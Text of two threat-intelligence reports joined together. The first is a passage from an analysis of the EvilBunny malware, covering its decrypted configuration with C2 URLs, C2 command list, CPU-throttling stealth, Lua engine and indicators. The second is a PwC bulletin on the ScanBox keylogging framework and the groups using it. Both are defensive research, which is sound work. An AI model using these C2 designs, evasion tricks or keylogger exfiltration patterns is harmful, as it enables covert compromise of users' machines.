Find the entire decrypted configuration below: COMMAND_KEYwqNbo8DSbWZiq1QZ4NnmTcibYRJIFxmlSBQh1zdF8IlDKin2zkNOVtKvlx92Q0QOQnA Nt1NCbDItwVQWY0HBQ2GKYPecpfuQ6JPZG0dQRarhCy7nTT3ukET9YzQEPN81/COMMAND_KEY STORAGE_KEYlbuLmdAouhUkSsMXckMUevjNf87S4ATWYwLYGLM44O1ortQEE2vr34QGzjPhrWeosFB YQpT6dRwDuPPuP13zzqZhW3PeCQA7OUEghovMwEGYx1annboIwRxKbhUOIMsf/STORAGE_KEY RESPONSE_KEY8kMQOWondQc2ZgYgirg9NHg0QUiIIBdPe0YtIVfvxa9rvJ9wtFGx8ko4oFY34PrSkW 9cKzEFZYDnM54qeWcvSMIi9sBAkcD5ggFDmQOGdO42ef344I7s9wAKoAXKeq1s/RESPONSE_KEY COMMAND_FILE_PATH_AND_PREFIXSELFDIR\net.cap/COMMAND_FILE_PATH_AND_PREFIX URL1http://le-progres.net/images/php/test.php?rec11206-01/URL1 URL2http://ghatreh.com/skins/php/test.php?rec11206-01/URL2 URL3http://www.usthb-dz.org/includes/php/test.php?rec11206-01/URL3 INJECTED0/INJECTED STARTDELAY0/STARTDELAY DIEDELAY120/DIEDELAY The configuration provides three keys for encryption and decryption of data.
The command_key is used to decrypt commands received from the CC server, the storage_key is used to encrypt and decrypt data being stored to files on disk and the response_key will encrypt callbacks to the CC server.
All data exchanged with any of the CC servers as well as data stored to a file on disk is encrypted with the according key.
Diedelay and startdelay are timeout settings, the exact use of the parameter injected is page  11 Illustration 5: The website of ghatreh.com today unclear up to the time of writing.
Command_file_path_and_prefix defines the name of the file which will holds CC commands and Lua scripts at runtime.
The malware performs CC command parsing and Lua script execution with dedicated threads, of which every thread creates its own net.cap file, extending the name by a fixed digit namely 0, 1, 3 or 4.
At runtime the malware adds additional configuration parameters, which are not assigned an obvious name like those retrieved from the resource section.
The synonyms for all encrypted configuration values as they are stored in Windows registry are: ipsecFilterData ClassID ipsecID ipsecISAKMP ipsecData ipsecDSA ipsecSA ike ikeID isakmpID isakmpKey HMACSHA1 isakmpData After the configuration is retrieved from the resource section the malware will create a subkey for every parameter under [HKLMHKCU]\Software\Microsoft\IPSec.
This key has initially been created by the dropper.
The attributes are encrypted before being written to registry, and will be decrypted on the fly every time the malware requests a specific parameter.
2.4 THE MULTI-THREADING MODEL Suspect 4 comes with a solid multi-threading model, which seeks to assure fail-safe and high-performance execution.
The malware runs a main thread, which manages four worker threads and performs CC command parsing and Lua script execution.
The worker threads are dedicated to receive commands and scripts through different ways.
Next to that, the main thread also runs sub threads to maintain log files the malware creates at during execution and to keep track of the overall system load the malware creates.
The threads are coordinated via named events, global flag variables, in some cases also page  12 mutexes or semaphores are used.
The main action of the malware is carried out in the main thread, which parses commands and executes Lua scripts, provided by the worker threads via command files.
The threading model is summarized in the following graphic.
2.4.1 PERFORMANCE MONITORING A dedicated thread is present for monitoring the CPU load the malware itself generates.
Therefor the thread enumerates all threads from the current process and calculates their execution time.
The user- and kernel land execution time is measured for every thread using the kernel32 GetThreadTimes API then aggregated, so the final value holds the overall CPU usage time of the malware process.
The thread keeps track of the time passing between executions.
If the malwares active execution time in percentage of this delta exceeds a configured threshold, the malware will suspend all threads of its process for at least 5s.
The threshold is retrieved from configuration in Windows registry, and can be controlled by the botmaster via the CC command setcpulimit (see section 2.5).
This clearly is an attempt to keeping a low profile on the infected machine.
By maintaining its own execution load the bots compromised svchost.exe process will not catch attention on the process list.
page  13 Illustration 6: Summary of the thread model 2.4.2 THE BACKFILE LAUNCHING THREAD The backfile launching thread got its name from the named event backfilelaunching which is set to indicate that the dedicated thread has started.
Also in a 1s-frequency the malware runs the backfile thread to push dump files to one of its remote servers.
The files are named Perflib_Perfdat_dmpbX.dat, where X is an index number starting with 0.
The data written to the file are status messages including a time stamp, which are returned by command and Lua script execution.
The data is encrypted using the response_key from the configuration.
2.4.3 THE HEARER THREADS The term hearer can be found plenty of times in the binary, it is assumed that it is equivalent to listener of some sort.
All together suspect 4 manages 4 hearer threads including one command file per thread.
The command file is named net.capX, where X is the index of the thread 0, 1, 3 or 4.
The hearer threads purpose is to receive instructions from the remote servers and provide them to the main thread.
Such instructions are commands and/or one or more Lua scripts.
Each hearer has a dedicated method to receive instructions which is either separately via HTTP from the server, aggregated through a downloaded data file or as tasks to be configured as scheduled tasks.
The hearer threads dump the received instructions to their net.cap-files, from where the main threads command parsing routine fetches and executes them.
The data is encrypted with the storage_key before written to disk.
HEARER 0 Generic hearer thread.
Started, but not involved in command fetching and parsing.
HEARER 1 Hearer 1 receives commands and Lua scripts directly via HTTP from one of the CC servers.
These are encrypted with the storage_key and stored to net.cap1 in the malwares working directory.
Interestingly, the malware handles successful downloads with the HTTP status code 418.
This code is not part of the original HTTP standard, but was introduced in RFC2324, 1998s traditional IETF April Fools joke.
The textual representation of status 418 is Im a teapot.. HEARER 2 Hearer 2 is responsible for managing the scheduled tasks, titled crontasks by the malware.
The tasks are stored in a file named perf.tmp, and when due for execution are copied to the according net.cap-file, net.cap2 in this case.
From there the main thread can page  14 fetch and execute them in its command parsing loop.
Hearer 2 also creates a swap file named perf.tmp2, which helps in selectively editing the initial task file and in managing the task list.
HEARER 3 Hearer 3 searches for a file named netdump.db in its local working directory.
If found, the thread will read its content in chunks representing different commands and paste these to net.cap3.
Again, the data is encrypted with the storage_key.
No functionality could be found in the malware code to write to netdump.db, which leaves the conclusion that this file will be downloaded from a CC server.
2.5 CC COMMAND PARSING After initializing and starting all four hearer threads the main thread enters a command parsing loop.
For every hearer the main thread invokes the command and script execution function.
Therefor data is read from the encrypted net.capX- file, where X indicates the index of the hearer 0, 1, 3 or 4.
Once decrypted, this data is parsed to find valid CC commands and / or valid Lua scripts to execute.
More details on command and script execution can be found in section 2.6.
Notable is that the command parsing and execution happens in a serial fashion, while Lua script execution is handed over to dedicated threads.
Also, no direct relation between CC commands and Lua script execution could be identified.
The most notable actions of the bot can be summarized as follows: Downloads and executes Lua scripts to instrument its own code Can install managed tasks (named crontask) for its integrated engine Can maintain FTP connections Can send and receive files via HTTP Writes runtime information to local files page  15 Illustration 7: Linear command execution Encryption for local data and network communication However, suspect 4 does accept a list of hard coded commands to be sent by the CC server.
These mainly serve the purpose of controlling operation of the bot on the infected machine, such as restarting threads or setting configuration parameters.
The full list of CC commands can be found below: mainfrequency  Set a new timeout value for the command parsing loop.
getconfig  Get configuration from registry and push it to CC.
ftpput  Push a file to an FTP server.
ftpget  Download and store a file from an FTP server.
sendfile  Send a local file to one of the CCs.
getfile  Download and store a file from one of the CCs.
uninstall  Set runtime flags to instruct main thread to terminate and delete related files.
restarthearer  Restart one of the hearer threads, clean its runtime files.
restart  Set runtime flag to instruct main thread to restart all threads.
cleanhearer  Clear all files related to an indicated hearer thread.
timeout  Configure a timeout value for HTTP connections.
waitfor  Set a timeout value for hearer 1.
updatedietime  Update the dietime value in registry.
crontaska  Add new task to perf.tmp for hearer 2 to execute.
crontaskr  Remove an entry in perf.tmp.
crontaskl  List tasks from perf.tmp, write to perf.tmp2 and send to CC.
maxpostdata  Set a limit for data size to be sent to CC via registry to limit data traffic.
seturl  Add an additional CC server URL to configuration in registry.
stop  Set runtime flag to instruct main thread to shut down.
setcpulimit  Configure a limit in percent for CPU usage, stored in registry.
Every command execution function returns a status line, such as for example ftp page  16 command succeeded for: s\n.
The initial command, the status line and a current time stamp are encrypted and sent back to the CC server.
Additionally, the same data is written to the Perflib_Perfdat_dmpbX.dat file which is regularly pushed to the CC by the backfile thread.
For hearer 1 and 3 the command parsing routine will additionally manage two continuous log files which are named Perflib_Perfdata41X.dat and  Perflib_Perfdata_42X.dat, where X is the respective hearer threads index.
More specifically, command parsing will increment a global variable holding the total amount of executed commands and scripts.
This 4-byte value is appended to Perflib_Perfdata41X.dat before and Perlfib_Perfdata42X.dat after command execution.
These files survive restart or cleanup, so every time the malware boots it reads the current status from these logs and continues from the latest value.
This mechanism helps the botmaster to keep track of the bots activity on an infected host and could also be helpful in trouble shooting.
2.6 LUA ENGINE INTEGRATION Suspect 4 incorporates an interpreter for Lua 5.1, LuaSocket 2.0.2 and C/Invoke Lua bindings.
Lua is a lightweight programming language designed as a scripting language which can be embedded into applications, providing a C API for doing so.
C bindings are provided through C/Invoke and enable Lua scripts to perform callbacks to C/C code.
This constellation can be found in many video game engines to provide polymorphic behavior in games.
Engine and game play features are injected through Lua scripts, which instrument the game engine code.
The Lua interpreter is very small, compiled roughly 180kB, thus can easily be integrated in an application.
The C/Invoke bindings enable Lua to be completely independent from the C/C application, so injected scripts can be pure Lua code.
page  17 A script, if delivered to one of the hearer threads, will be provided through the corresponding net.cap-file of the hearer along with a CC command.
If a script is included in the data read from the net.cap-file, this is indicated by the start sentinel .
Likewise, the end of a script is indicated by .
Command execution goes hand in hand with Lua script execution, thus is dependent of the four hearer threads.
The work flow for each hearer per execution loop in the main thread is as follows: Read and decrypt content from according net.cap-file See if an entry of the CC command list can be found in the decrypted data page  18 Illustration 8: A small portion of Lua callback functions Illustration 9: Command and script execution go hand in hand If so, execute the command Hand the data over to the Lua interpreter thread See if a Lua script can be located, searching for start and end sentinel If so, start Lua thread and execute script If more than one script can be found start more Lua threads recursively After starting the Lua thread requests a value from Windows registry named EnableLua under SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System.
This key name stands for enable limited user account.
When set to zero this key effectively disables UAC (User Account Control).
The malware only requests the key value but does not change it.
The value is later used by a callback function named popenWin to decide on a way how a sub process should be started.
Options are via WMIC using wmic.exe, Microsoft CScript engine using cscript.exe or directly via spawning a command line through cmd.exe.
However, spawning sub processes is not the only feature which comes with Lua.
The Lua interpreter is a powerful code base which enables suspect 4 to change functionality on the fly, as different scripts are downloaded and executed.
The scripts define the functionality as they perform callbacks to the C/C code in the malware binary.
The potential of the Lua interpreter can be investigated on the project homepage [4].
Like command execution, Lua script execution also returns a status message which is extended by a time stamp and forwarded to one of the CC servers, as well as written to the backfile log in Perflib_Perfdat_dmpbX.dat.
Likewise, the Lua threads log their activity to Perflib_Perfdata_41X.dat/42X.dat.
Due to the absence of CC servers which hold the Lua scripts for the bots Lua interpreter the true nature of this feature remains unclear.
page  19 Illustration 10: Command and script execution in detail 3.
EVIL BUNNY IN THE SPOTLIGHT Throughout analysis and due to the help of Paul Rascagnires a number of binaries which relate to EvilBunny were identified [7]: 2a64d331964dbdec8141f16585f392ba 40E0F0681C79D70AC0329E68A94294CB 8132ee00f64856cf10930fd72505cebe e8a333a726481a72b267ec6109939b0d 3bbb59afdf9bda4ffdc644d9d51c53e7 c40e3ee23cf95d992b7cd0b7c01b8599 330dc1a7f3930a2234e505ba11da0eea 83b7c532663f11bf994a1b518880557d b8ac16701c3c15b103e61b5a317692bc bbf4b1961ff0ce19db748616754da76e The binaries share parts of source code, most notably is the identical API name obfuscation algorithm and respective key AB34CD77h.
The indicators of a relation among all samples or a subset of samples are the following: Same API name obfuscation algorithm and key Equal infection routines / source code Equal AntiVirus product enumeration technique Shared CC domain names and equal CC commands Equal proxy bypass technique / source code Mentioned set of malware also shows parallels in coding style and structure.
However, it has to be pointed out that suspect 4 without doubt sticks out in terms of complexity and functionality.
It is assumed that suspect 4 was created by the same authors, but this cannot be proved.
Four of the set of identified samples are identical in functionality and capability.
They possess respectable flooding capabilities and also provide remote access.
However, they do not support data stealing or any spying functionality [8].
Two more CC domains were identified for this group: http://callientefever.info/img/new/n.php http://fullapple.net/pictures/bkp/n.php Regarding the nature of the attack or the actor behind EvilBunny only vague conclusions page  20 can be drawn.
There has been public contemplation that the actor might be french and that the malware might be related to samples analyzed by the Canadian CSEC [9].
However, there hasnt been any hard evidence which links the attack to a group or a geographical location.
Attribution is a tricky task and assumptions must not be drawn easily.
page  21 4.
ACKNOWLEDGEMENTS For providing technical insights, support and if I remember right even water, coffee or occationally rum, I want to express my deepest gratitude to Morgan Marquis-Boire, Sebastien Larinier, Paul Rascagnires, Nicolas Brulez, Michael Shalyt and Inbar Raz.
Further I want to thank Fred Arbogast, Alexandre Dulaunoy, Raphael Vinot and the remaining organizing team of Hack.lu for their advice and effort, even in situations of widespread insomnia.
All of you  such wow, very awesome rock on page  22 5.
RESOURCES [1] An Analysis Of CVE-2011-4369 http://blog.9bplus.com/analyzing-cve-2011-4369-part-one/ [2] ThreatExpert Report on c40e3ee23cf95d992b7cd0b7c01b8599 http://www.threatexpert.com/report.aspx?md5c40e3ee23cf95d992b7cd0b7c01b8599 [3] How to disable UAC https://social.technet.microsoft.com/Forums/windowsserver/en-US/0aeac9d8-3591-4294- b13e-825705b27730/how-to-disable-uac [4] The Lua Project http://www.lua.org/ [5] The C/Invoke Project http://www.nongnu.org/cinvoke/ [6] Lua scriptable game engines (Wikipedia) http://en.wikipedia.org/wiki/Category:Lua-scriptable_game_engines [7] All file hashes related to the EvilBunny malware http://pastebin.com/7iedeFF5 [8] Hack.lu 2014 Keynote on TS/NOFORN http://www.slideshare.net/pinkflawd/tsnoforn [9] Quand les Canadiens partent en chasse de  Babar http://www.lemonde.fr/international/article/2014/03/21/quand-les-canadiens-partent-en- chasse-de-babar_4387233_3210.html page  23 http://blog.9bplus.com/analyzing-cve-2011-4369-part-one/ http://www.lemonde.fr/international/article/2014/03/21/quand-les-canadiens-partent-en-chasse-de-babar_4387233_3210.html http://www.lemonde.fr/international/article/2014/03/21/quand-les-canadiens-partent-en-chasse-de-babar_4387233_3210.html http://www.slideshare.net/pinkflawd/tsnoforn http://pastebin.com/7iedeFF5 http://en.wikipedia.org/wiki/Category:Lua-scriptable_game_engines http://www.nongnu.org/cinvoke/ http://www.lua.org/ https://social.technet.microsoft.com/Forums/windowsserver/en-US/0aeac9d8-3591-4294-b13e-825705b27730/how-to-disable-uac https://social.technet.microsoft.com/Forums/windowsserver/en-US/0aeac9d8-3591-4294-b13e-825705b27730/how-to-disable-uac http://www.threatexpert.com/report.aspx?md5c40e3ee23cf95d992b7cd0b7c01b8599 6.
APPENDICES APPENDIX A  PASSIVE DNS RECORDS Marked in Grey is the data of sinkholes for the mentioned domains, currently operated by Kaspersky.
Domain usthb-dz.org Resolve Location Network First Last 95.211.172.143 NL 95.211.0.0/16 14.12.2013 00:00 30.12.2013 00:00 184.168.221.41 US 184.168.220.0/22 20.09.2012 00:00 14.12.2013 00:00 8.5.1.34 US 8.5.1.0/24 10.04.2011 00:00 20.09.2012 00:00 70.38.12.10 CA 70.38.0.0/17 10.03.2010 00:00 10.04.2011 00:00 216.108.239.153 US 216.108.239.0/24 01.06.2009 00:00 10.03.2010 00:00 213.186.33.19 FR 213.186.32.0/19 20.04.2009 00:00 01.06.2009 00:00 91.121.142.185 FR 91.121.0.0/16 12.01.2009 00:00 20.04.2009 00:00 91.121.137.201 FR 91.121.0.0/16 19.09.2007 00:00 12.01.2009 00:00 64.15.136.137 CA 64.15.128.0/19 19.09.2007 00:00 19.09.2007 00:00 Domain le-progres.net Resolve Location Network First Last 95.211.172.143 NL 95.211.0.0/16 20.06.2014 00:00 09.11.2014 09:24 208.73.210.155 US 208.73.208.0/21 10.04.2011 00:00 27.07.2014 00:21 69.90.160.65 CA 69.90.160.0/22 02.11.2009 00:00 17.06.2014 07:16 74.54.82.222 US 74.52.0.0/14 13.04.2009 00:00 02.11.2009 00:00 74.54.82.228 US 74.52.0.0/14 16.03.2009 00:00 13.04.2009 00:00 208.87.149.250 US 208.87.148.0/22 08.12.2008 00:00 16.03.2009 00:00 216.36.248.134 US 216.36.192.0/18 02.11.2008 00:00 08.12.2008 00:00 216.36.248.128 US 216.36.192.0/18 25.09.2008 00:00 02.11.2008 00:00 216.36.248.134 US 216.36.192.0/18 06.12.2007 00:00 25.09.2008 00:00 209.62.20.175 US 209.62.0.0/17 04.11.2007 00:00 06.12.2007 00:00 69.46.226.168 N/A 69.46.224.0/20 01.11.2007 00:00 04.11.2007 00:00 page  24 Domain ghatreh.com Resolve Location Network First Last 184.107.60.97 CA 184.107.0.0/16 07.09.2012 00:00 09.11.2014 09:45 70.38.107.13 CA 70.38.0.0/17 04.09.2012 00:00 01.04.2013 00:00 204.93.167.100 US 204.93.167.0/24 07.04.2012 00:00 04.09.2012 00:00 70.38.107.13 CA 70.38.0.0/17 14.03.2012 00:00 07.04.2012 00:00 70.38.107.12 CA 70.38.0.0/17 10.04.2011 00:00 14.03.2012 00:00 70.38.107.13 CA 70.38.0.0/17 23.03.2008 00:00 10.04.2011 00:00 67.19.84.46 US 67.18.0.0/15 16.10.2006 00:00 23.03.2008 00:00 67.18.209.222 US 67.18.0.0/15 07.10.2006 00:00 16.10.2006 00:00 204.13.160.25 US 204.13.160.0/22 30.09.2006 00:00 07.10.2006 00:00 64.20.43.107 US 64.20.32.0/19 23.09.2006 00:00 30.09.2006 00:00 204.13.160.25 US 204.13.160.0/22 01.07.2006 00:00 23.09.2006 00:00 69.25.212.153 US 69.25.208.0/20 29.04.2006 00:00 01.07.2006 00:00 66.45.225.11 US 66.45.224.0/19 14.02.2005 00:00 29.04.2006 00:00 67.19.22.234 US 67.18.0.0/15 12.02.2005 00:00 14.02.2005 00:00 204.157.11.208 US 204.157.0.0/16 22.11.2004 00:00 12.02.2005 00:00 Domain callientefever.info Resolve Location Network First Last 95.211.172.143 NL 95.211.0.0/16 25.10.2010 00:00 07.10.2014 06:26 68.178.232.99 US 68.178.232.0/22 24.10.2009 00:00 25.10.2010 00:00 Domain fullapple.net Resolve Location Network First Last 95.211.172.143 NL 95.211.0.0/16 09.12.2010 00:00 09.04.2014 10:48 68.178.232.99 US 68.178.232.0/22 23.01.2010 00:00 09.12.2010 00:00 209.51.136.27 US 209.51.128.0/19 13.12.2009 00:00 23.01.2010 00:00 72.9.244.162 US 72.9.240.0/20 02.12.2009 00:00 13.12.2009 00:00 page  25 APPENDIX B  LIST OF RUNTIME FILES SUSPECT 4 net.capX (where X is the index of the hearer thread 0, 1, 3 or 4) perf.tmp perf.tmp2 netdump.db Perflib_Perfdat_dmpbX.dat (where X is an incremental index) PerfLib_Perfdata_41X.dat (where X is the index of the hearer 1 or 3) PerfLib_Perfdata_42X.dat (where X is the index of the hearer 1 or 3) page  26 1.
THE BUNNY DROPPER 2.
SUSPECT 4 2.1 MALWARE ANTI-ANALYSIS 2.1.1 ENUMERATION OF FIREWALL AND ANTIVIRUS PRODUCTS 2.2 SYSTEM INFILTRATION 2.3 CONFIGURATION AND COMMAND  CONTROL SETTINGS 2.4 THE MULTI-THREADING MODEL 2.4.1 PERFORMANCE MONITORING 2.4.2 THE BACKFILE LAUNCHING THREAD 2.4.3 THE HEARER THREADS 2.5 CC COMMAND PARSING 2.6 LUA ENGINE INTEGRATION 3.
EVIL BUNNY IN THE SPOTLIGHT 4.
ACKNOWLEDGEMENTS 5.
RESOURCES 6.
APPENDICES
Cyber Threat Operations Tactical Intelligence Bulletin Date: 2015-02-24 Contact: threatintelligenceuk.pwc.com Reference: CTO-TIB-20150224-01A TLP: WHITE ScanBox II Tactical Intelligence Bulletin  TLP: WHITE Cyber Threat Operations 1.
A deeper look into ScanBox Please e-mail us at threatintelligenceuk.pwc.com for a version of this report with additional indicators that you are welcome to distribute so long as it is not on public channels (TLP-GREEN).
We have observed actors amending the ScanBox framework to evade existing public signatures, detailed below.
Overview Security researchers have often made the mistake of assuming that when a specific tool was observed being used in espionage attacks, it was representative of activity of a single actor.
More frequently, however, many are now identifying that distinct groups of attackers are sharing their toolsets, just as in the cybercrime world.
One such toolset, the ScanBox framework, is now shared between a number of groups who conduct espionage attacks.
Evidence suggests that these groups include those behind the recent Forbes and Anthem attacks.
This short paper outlines our current perspectives on the previously discussed espionage groups currently using the framework and a hint that a 5th player is getting in on the game.
ScanBox performs keylogging of users when they visit a compromised website, without requiring malware to be deployed, and can collect a great deal of information which can be used to tailor future attacks In October we published some details of the ScanBox tool set.
Since then we have encountered 24 additional sites compromised with the framework.
Over this time we have observed changes to the code and novel techniques for executing.
We have also received a number of tip offs from other researchers, as well as queries from victims who were directly targeted by those using the framework.
We would like to extend our thanks to these individuals for their contributions towards this research.
Tactical Intelligence Bulletin  TLP:WHITE Cyber Threat Operations Whos using it, and whos being targeted?
The following diagram shows the links in tools and targets between the groups discussed in our previous blog, but newer information has since come to light which allows us to more accurately associate these groups with known threat actors: Between these clusters, weve seen strategic web compromises designed to target users in the following countries: Tactical Intelligence Bulletin  TLP:WHITE Cyber Threat Operations Variations on the framework Since our last post there have been several alterations to the ScanBox code base, including new modules, changes to avoid signature based detection, as well as extra techniques to try to identify whether those being scanned are real machines or researchers.
Fears of proliferation In some cases we have been able to watch developers update and test variants of the framework, and even come across server-side code being tested by budding hackers.
Our findings are detailed below.
Tactical Intelligence Bulletin  TLP:WHITE Cyber Threat Operations 2.
Updates to the ScanBox Framework Following on from our previous post on ScanBox1, we have watched the clusters of activity outlined with close interest, as well as keeping an eye on new adopters of the ScanBox framework.
For those who didnt read our last entry on the framework, nor the excellent work by Jaime Blasco2 which preceded it, ScanBox is a framework written in JavaScript and PHP which allows an attacker to perform reconnaissance and key logging of visitors to compromised websites without requiring any malware to be downloaded or installed.
The framework has remained in use since initial analyses were published, and further analysis of the code, public reporting, as well as the infrastructure used to host ScanBox infections has given us a better picture of some of the clusters of activity we identified in our earlier blog.
Technical Updates In addition to the four websites we previously identified hosting the malicious code, weve now identified a further 24 websites hosting the framework.
Anonymised data relating the countries and sectors affected are given in appendix A.
Broadly, the ScanBox framework codebase has remained the same, however there are slight nuances in some aspects of the code, or in the software attackers choose to search for.
Software checks In cases where the attackers have included software checks within their ScanBox code, it tends to be for the same original list of filenames (Appendix C).
In some cases the attackers customise the list, presumably based on the things theyre expecting to find.
For example, adding or removing additional security products based on the predominant software providers in their target region.
Its also worth noting that the standard list includes quite a lot of software which is less relevant to security (examples include WinRAR, iTunes and WinZip).
Some of these may be included in order to help the attackers to try and identify real victims vs researchers/sandboxes/honeypots.
An example list is shown in the following screenshot: 1 http://pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whos-affected-and-whos-using-it- 1.html 2 https://www.alienvault.com/open-threat-exchange/blog/scanbox-a-reconnaissance-framework-used-on-watering- hole-attacks Tactical Intelligence Bulletin  TLP:WHITE Cyber Threat Operations checkDrives In one cluster of ScanBox activity, instead of checking for specific files as per the method above, the attackers have implemented a different method of tracking files and drives present on the victim machine.
The first piece of new functionality is that the attackers build a possible list of drive names (A-Z) and scan for the existence of each drive: Tactical Intelligence Bulletin  TLP:WHITE Cyber Threat Operations checkFolders They do not check files directly either, instead, checking for the presence of a list of folder names: Tactical Intelligence Bulletin  TLP:WHITE Cyber Threat Operations In this case, rather than determining what security software is present, this check would mainly be useful in assisting the attacker with identifying the victims operating system.
This could then be used to tailor future attacks (i.e.
should I deploy malware which can bypass UAC?
Should I send malicious documents targeting CVE-2012-0158 or not?
).
Also, bizarrely the attackers check the path Program Files (x80236)  if anyone knows what this corresponds to, please get in touch and let us know.
Avoiding analysis?
As we stated earlier, some of the features of the original ScanBox code were probably designed to help those analysing results distinguish between honeypots/analysis environments and real-world victims.
The newly added variables include: colorDepth  This may help to identify virtual machines which are typically configured with specific graphics options.
Local Time on the machine  checking that the local time on the machine matches the expected time given the geo-location of the infected IP address  in many cases analysis environments are not configured with the correct time.
Updates to evade signatures Possibly in response to our previous report, weve seen some of the groups using ScanBox alter the content of the modules to evade detection.
Attackers do read reports, both to help them attack3 and also to evade detection.
One change has been the URI formats used to deliver stolen key log data from obvious URLs such as: /k.php?data[KeyloggerData] To more subtle URLs such as: /[KeyloggerData].jpg We also note that following our release of a signature to detect the phrase No Java or Disable, which was present in a number of related frameworks, some of the attackers have now changed this to No or Disable.
3 For example as in http://pwc.blogs.com/cyber_security_updates/2015/01/destructive-malware.html Tactical Intelligence Bulletin  TLP:WHITE Cyber Threat Operations 3.
Previously on ScanBox Clusters In our previous entry on ScanBox we described four clusters of activity  this section includes updates on those clusters.
Previously, we were only able to cluster activity based on the infrastructure used and the associated malware, we now have a sufficient number of samples to cluster based on differences in implementation between the code used for ScanBox in each case.
Flash Cluster (aka Cluster 1) The recently published FBI flash alert A-000049-MW4, cited domain names previously referenced in our blog as being related to an actor known as Deep Panda, which well get to in a minute.
The link appears to have been made from the use of the DerUsbi malware family though, which we know to be used by several espionage actors.
What is interesting is the potential overlap between the target selection of this cluster and the targets of those behind the recently reported Forbes compromise5,6.
Checking the Google SafeBrowsing results for .googlecaches.com, shows that the domain was used for distribution of malicious code for a significant period after our previous blog entry: This includes distribution via gokbayrak.com.
Looking at whether any other domains or IP addresses were observed delivering malicious software via gokbayrak.com shows that it was also observed delivering malware via 88.80.190[.
]133.
This is the same IP address that was cited in iSights reporting of the Forbes breach.
4 http://krebsonsecurity.com/wp-content/uploads/2015/02/fbi-pandaflash.png 5 http://www.invincea.com/2015/02/chinese-espionage-campaign-compromises-forbes/ 6 http://www.isightpartners.com/2015/02/codoso/ Tactical Intelligence Bulletin  TLP:WHITE Cyber Threat Operations In fact, the IP address 88.80.190.133 was involved in the compromise of the same 3 websites as SafeBrowsing shows were affected by googlecaches.com.
The same three sites targeted with the 0-day used in the Forbes attack were also observed distributing malware via googlecaches[.
]com - we therefore believe its likely that the group we previously described as Cluster 1 was behind the Forbes compromise.
We can use similar techniques to explore other actors who have the same tasking as Cluster 1.
In the screenshot of websites delivering malware via gokbayrak.com, we saw that the domain name macanna.com[.
]tw was also used to distribute malware from this page.
Tactical Intelligence Bulletin  TLP:WHITE Cyber Threat Operations Whilst macanna.com[.
]tw appears to be a legitimate site, it has also been observed as being a command and control destination for malware.
The malware sample in question has a hash of 3b8d7732de3b3c8823d241e7cd3185c4.
The same sample also communicates with happynewyear.dns04[.
]com, which in turn resolves to the IP address 115.23.172[.
]151, which hosts a large number of other malicious host names: Tactical Intelligence Bulletin  TLP:WHITE Cyber Threat Operations These following hostnames are activity associated with the actor best known as TH3Bug7 - named after their choice of Poison Ivy password.
Their malware samples are present in the same cluster: 7 http://researchcenter.paloaltonetworks.com/2014/09/recent-watering-hole-attacks-attributed-apt-group-th3bug- using-poison-ivy/ Tactical Intelligence Bulletin  TLP:WHITE Cyber Threat Operations Deep Cluster (aka Cluster 2, centred on news.foundationssl[.
]com) This cluster relates to the threat actor referred to as Deep Panda by CrowdStrike, as was confirmed in a recent blog post8.
In turn, this is widely believed to relate to the incident at Anthem, as described in a Krebs post9.
The graph below shows the links between the we11point.com domain name, and news.foundationssl[.
]com as seen on the CrowdStrike blogpost: The Krebs article also points toward other possible (although not explicit) links between the domain allegedly used in the Anthem hack (we11point.com) to Cluster 2 through shared WHOIS details, as we11point.com was registered by domain re-seller li2384826402yahoo.com On its own, this would not be sufficient to associate the two clusters, but it is useful to note as a softer overlap.
8 blog.crowdstrike.com/ironman-deep-panda-uses-sakula-malware-target-organizations-multiple-sectors/ 9 http://krebsonsecurity.com/2015/02/anthem-breach-may-have-started-in-april-2014/ Tactical Intelligence Bulletin  TLP:WHITE Cyber Threat Operations Mystery Cluster 3 (aka Cluster 3, centered on qoog1e[.
]com): Cluster 3 remains a mystery, unfortunately the code used in this instance is the most slim line version, and has since not been widely re-used  it is unclear who was behind the compromise using this domain name.
Evil Cluster (aka Cluster 4, centred on webmailgoogle[.
]com): Wed previously missed the link between Cluster 4  and malware widely known as EvilGrab or Vidgrab.
From our view point, this malware is exclusively used by one group, known by CrowdStrike as Stone Panda10.
In addition to the four clusters outlined above, within the 24 additional compromises identified, we believe there are at least 3 other distinct groups using the framework.
Digital Quartermastering In their 2013 paper From Quartermaster to Sunshop11, FireEye described the concept of a Digital Quartermaster, a kind of malware supply chain for intrusions, where a skilled team would develop toolsets for a range of attackers who deploy them.
The shared use of ScanBox may match up quite well to this hypothesis, and indeed even to some extent the naming schema overlaps, as iSight refer to the actor behind the Forbes breach as Codoso, but suggest they are publically known as Sunshop.
In all likelihood this relates to a series of blogs byFireEye which refer to a series of web compromises in 2013 as being the SunShop12 campaign.
Although we did not notice the correlation immediately, there is good overlap between the groups weve described above, and the clusters of activity described as sharing a Flash 0-day in early 2014 by Symantec13.
Although other groups have since begun using the framework, the first groups to use the framework (clusters 1-4) correspond quite nicely to the existing Symantec blog.
For reference, weve overlaid our ScanBox clusters against the likely clusters Symantec created behind the scenes for their blog, as well as other popular names: ScanBox Cluster CrowdStrike Symantec Group Other Names Vulnerabilities Frameworks Malware Used Cluster 1 ??
?
Sunshop (iSight) ScanBox CVE-2014-6332 Briba, Poison Ivy Cluster 2 Deep Panda Sakurel ScanBox CVE-2014- 0322 (Internet Explorer) CVE-2012- 4792 (Internet Explorer) CVE-2014-0502 (Adobe Flash) Sakurel, DerUsbi, many others 10 http://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem 11 https://www.fireeye.com/content/dam/legacy/resources/pdfs/fireeye-malware-supply-chain.pdf 12 https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html 13 http://www.symantec.com/connect/blogs/how-elderwood-platform-fueling-2014-s-zero-day-attacks Tactical Intelligence Bulletin  TLP:WHITE Cyber Threat Operations CVE-2014- 1776 (Internet Explorer) Cluster 4 Stone Panda Vidgrab ScanBox CVE-2014- 0322 (Internet Explorer) CVE-2014-0502 (Adobe Flash) Jolob/Vidgrab Please note that each vendor has their own way of grouping activity together, so these mappings are given on a best efforts basis.
Player 5 has entered the game.
In all examples of ScanBox deployments discussed so far, we believe that the scripts were deployed to anyone who visited websites of interest to a given sector which the attacker was able to compromise and that the attackers waited for victims to visit the compromised site.
However one group of attackers using the ScanBox framework are now actively sending e-mails to potential victims, where the e-mails contain links to websites hosting ScanBox.
We believe these attackers are not covered by the existing clusters 1 through 4, as the code differs from that used elsewhere.
